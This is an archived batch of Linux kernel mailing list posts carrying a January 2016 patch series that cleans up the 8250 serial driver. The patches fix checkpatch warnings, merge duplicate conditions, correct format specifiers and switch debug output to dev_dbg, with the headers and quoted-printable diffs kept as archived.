Xref: news.gmane.org gmane.linux.kernel:2126814 gmane.linux.serial:21572 gmane.linux.ports.parisc:26402
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126814>

=46ixed checkpatch warning about an unnecessary line continuation in a
multi-line variable assignment.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 5e1b464..cf566bb 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -248,8 +248,8 @@ static int __init hp300_8250_init(void)
=20
 		/* Memory mapped I/O */
 		uart.port.iotype =3D UPIO_MEM;
-		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ \
-			      | UPF_BOOT_AUTOCONF;
+		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ
+				| UPF_BOOT_AUTOCONF;
 		/* XXX - no interrupt support yet */
 		uart.port.irq =3D 0;
 		uart.port.uartclk =3D HPAPCI_BAUD_BASE * 16;
--=20
1.9.1



From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 13/15] tty: serial: 8250: Merge duplicate conditions
Date: Thu, 14 Jan 2016 16:08:22 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <1452784104-30840-14-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784229 17023 80.91.229.3 (14 Jan 2016 15:10:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:10:29 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:10:19 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjXW-00049W-IB
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:10:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755420AbcANPKG convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:10:06 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57764 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755232AbcANPIz (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:55 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id D70ED58C4E7;
	Thu, 14 Jan 2016 16:08:52 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:52 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126815 gmane.linux.serial:21573 gmane.linux.ports.parisc:26403
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126815>

This patch refactors a switch case statement by merging an if condition
in the default case into an identical condition right after the switch
statement.
This comes with a slight change in behaviour: If pci_netmos_9900_numpor=
ts
returns 0, an additional warning is printed.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Suggested-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index fbd4222..b22e5a5 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -850,13 +850,13 @@ static int pci_netmos_init(struct pci_dev *dev)
 			break;
=20
 		default:
-			if (num_serial =3D=3D 0 ) {
-				moan_device("unknown NetMos/Mostech device", dev);
-			}
+			break;
 	}
=20
-	if (num_serial =3D=3D 0)
+	if (num_serial =3D=3D 0) {
+		moan_device("unknown NetMos/Mostech device", dev);
 		return -ENODEV;
+	}
=20
 	return num_serial;
 }
--=20
1.9.1



From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 05/15] tty: serial: 8250: Remove else after return
Date: Thu, 14 Jan 2016 16:08:14 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <1452784104-30840-6-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784230 17037 80.91.229.3 (14 Jan 2016 15:10:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:10:30 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:10:20 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjXW-00049W-0E
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:10:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755246AbcANPIy convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:08:54 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57734 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754946AbcANPIq (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:46 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id E899F58C4D0;
	Thu, 14 Jan 2016 16:08:43 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:43 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126816 gmane.linux.serial:21574 gmane.linux.ports.parisc:26404
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126816>

This patch fixes checkpatch warnings about unnecessary else blocks afte=
r
return statements.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 534ca18..8543719 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -805,10 +805,10 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
=20
 	pi =3D (c & 0xff);
=20
-	if (pi =3D=3D 2) {
+	if (pi =3D=3D 2)
 		return 1;
-	} else if ((pi =3D=3D 0) &&
-			   (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) {
+
+	if ((pi =3D=3D 0) && (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) =
{
 		/* two possibilities: 0x30ps encodes number of parallel and
 		 * serial ports, or 0x1000 indicates *something*. This is not
 		 * immediately obvious, since the 2s1p+4s configuration seems
@@ -816,12 +816,12 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
 		 * advertising the same function 3 as the 4s+2s1p config.
 		 */
 		sub_serports =3D dev->subsystem_device & 0xf;
-		if (sub_serports > 0) {
+		if (sub_serports > 0)
 			return sub_serports;
-		} else {
-			dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on a=
mbiguous config.\n");
-			return 0;
-		}
+
+		dev_err(&dev->dev,
+			"NetMos/Mostech serial driver ignoring port on ambiguous config.\n"=
);
+		return 0;
 	}
=20
 	moan_device("unknown NetMos/Mostech program interface", dev);
--=20
1.9.1



From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 12/15] tty: serial: 8250: Correct conversion specifiers
Date: Thu, 14 Jan 2016 16:08:21 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <1452784104-30840-13-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784259 17384 80.91.229.3 (14 Jan 2016 15:10:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:10:59 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:10:49 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjXz-0004SS-Fs
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:10:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755436AbcANPKh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:10:37 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57734 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755170AbcANPIy (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:54 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id B8B1358C4C8;
	Thu, 14 Jan 2016 16:08:51 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:51 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126817 gmane.linux.serial:21575 gmane.linux.ports.parisc:26405
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126817>

This patch fixes compiler warnings about wrong conversion specifiers us=
ed
in a debug output in 8250_pnp.c. The precise warning is:

drivers/tty/serial/8250/8250_pnp.c: In function =E2=80=98serial_pnp_pro=
be=E2=80=99:
include/linux/dynamic_debug.h:64:16: warning: format =E2=80=98%x=E2=80=99=
 expects argument
of [...]

drivers/tty/serial/8250/8250_pnp.c:467:2: note: in expansion of macro
=E2=80=98dev_dbg=E2=80=99
  dev_dbg(&dev->dev,
  ^
include/linux/dynamic_debug.h:64:16: warning: format =E2=80=98%lx=E2=80=
=99 expects argument
of [...]

drivers/tty/serial/8250/8250_pnp.c:467:2: note: in expansion of macro
=E2=80=98dev_dbg=E2=80=99
  dev_dbg(&dev->dev,
  ^

Those warnings never got triggered, because the command was nested
in an #ifdef, which is removed by a patch of this series.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pnp.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 0c32c59..b2d163c 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -465,8 +465,8 @@ serial_pnp_probe(struct pnp_dev *dev, const struct =
pnp_device_id *dev_id)
 		return -ENODEV;
=20
 	dev_dbg(&dev->dev,
-		 "Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		 uart.port.iobase, uart.port.mapbase,
+		 "Setup PNP port: port %lx, mem %pa, irq %d, type %d\n",
+		 uart.port.iobase, &uart.port.mapbase,
 		 uart.port.irq, uart.port.iotype);
=20
 	if (flags & CIR_PORT) {
--=20
1.9.1



From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 11/15] tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro
Date: Thu, 14 Jan 2016 16:08:20 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <1452784104-30840-12-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784283 18047 80.91.229.3 (14 Jan 2016 15:11:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:11:23 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de,
	=?UTF-8?q?Anton=20W=C3=BCrfel?= <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:11:15 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjYO-0004lY-6L
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:11:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755472AbcANPLD convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:11:03 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57715 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755153AbcANPIx (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:53 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 9F5C558C4E3;
	Thu, 14 Jan 2016 16:08:50 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:50 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126818 gmane.linux.serial:21576 gmane.linux.ports.parisc:26406
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126818>

=46rom: Phillip Raffeck <phillip.raffeck@fau.de>

This patch removes the macro SERIAL_DEBUG_PNP, which is used to enable
debugging at compile time.
As SERIAL_DEBUG_PNP is an orphan, the corresponding #ifdef is removed.
To keep the ability to enable debugging at compile time,
the call to printk(KERN_DEBUG ...) is replaced by a corresponding
call to dev_dbg(), which is configurable via CONFIG_DYNAMIC_DEBUG.

Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pnp.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 00846a7..0c32c59 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -464,11 +464,11 @@ serial_pnp_probe(struct pnp_dev *dev, const struc=
t pnp_device_id *dev_id)
 	} else
 		return -ENODEV;
=20
-#ifdef SERIAL_DEBUG_PNP
-	printk(KERN_DEBUG
-		"Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		       uart.port.iobase, uart.port.mapbase, uart.port.irq, uart.port=
=2Eiotype);
-#endif
+	dev_dbg(&dev->dev,
+		 "Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
+		 uart.port.iobase, uart.port.mapbase,
+		 uart.port.irq, uart.port.iotype);
+
 	if (flags & CIR_PORT) {
 		uart.port.flags |=3D UPF_FIXED_PORT | UPF_FIXED_TYPE;
 		uart.port.type =3D PORT_8250_CIR;
--=20
1.9.1



From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 06/15] tty: serial: 8250: Move EXPORT_SYMBOL to function
Date: Thu, 14 Jan 2016 16:08:15 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <1452784104-30840-7-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784297 18236 80.91.229.3 (14 Jan 2016 15:11:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:11:37 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:11:34 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjYj-00051L-Iv
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:11:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755155AbcANPIw convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:08:52 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57747 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754722AbcANPIr (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:47 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 0EA3958C4CE;
	Thu, 14 Jan 2016 16:08:45 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:45 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126819 gmane.linux.serial:21577 gmane.linux.ports.parisc:26407
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126819>

This patch moves EXPORT_SYMBOL macros directly after the definition of
the corresponding symbol to remove checkpatch warnings.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 3912646..15082ae 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -763,6 +763,7 @@ void serial8250_suspend_port(int line)
=20
 	uart_suspend_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_suspend_port);
=20
 /**
  *	serial8250_resume_port - resume one serial port
@@ -788,6 +789,7 @@ void serial8250_resume_port(int line)
 	}
 	uart_resume_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_resume_port);
=20
 /*
  * Register a set of serial devices attached to a platform device.  Th=
e
@@ -1167,9 +1169,6 @@ static void __exit serial8250_exit(void)
 module_init(serial8250_init);
 module_exit(serial8250_exit);
=20
-EXPORT_SYMBOL(serial8250_suspend_port);
-EXPORT_SYMBOL(serial8250_resume_port);
-
 MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
--=20
1.9.1



From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 10/15] tty: serial: 8250: Suitably replace printk
Date: Thu, 14 Jan 2016 16:08:19 +0100
Lines: 161
Approved: news@gmane.org
Message-ID: <1452784104-30840-11-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784303 18305 80.91.229.3 (14 Jan 2016 15:11:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:11:43 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
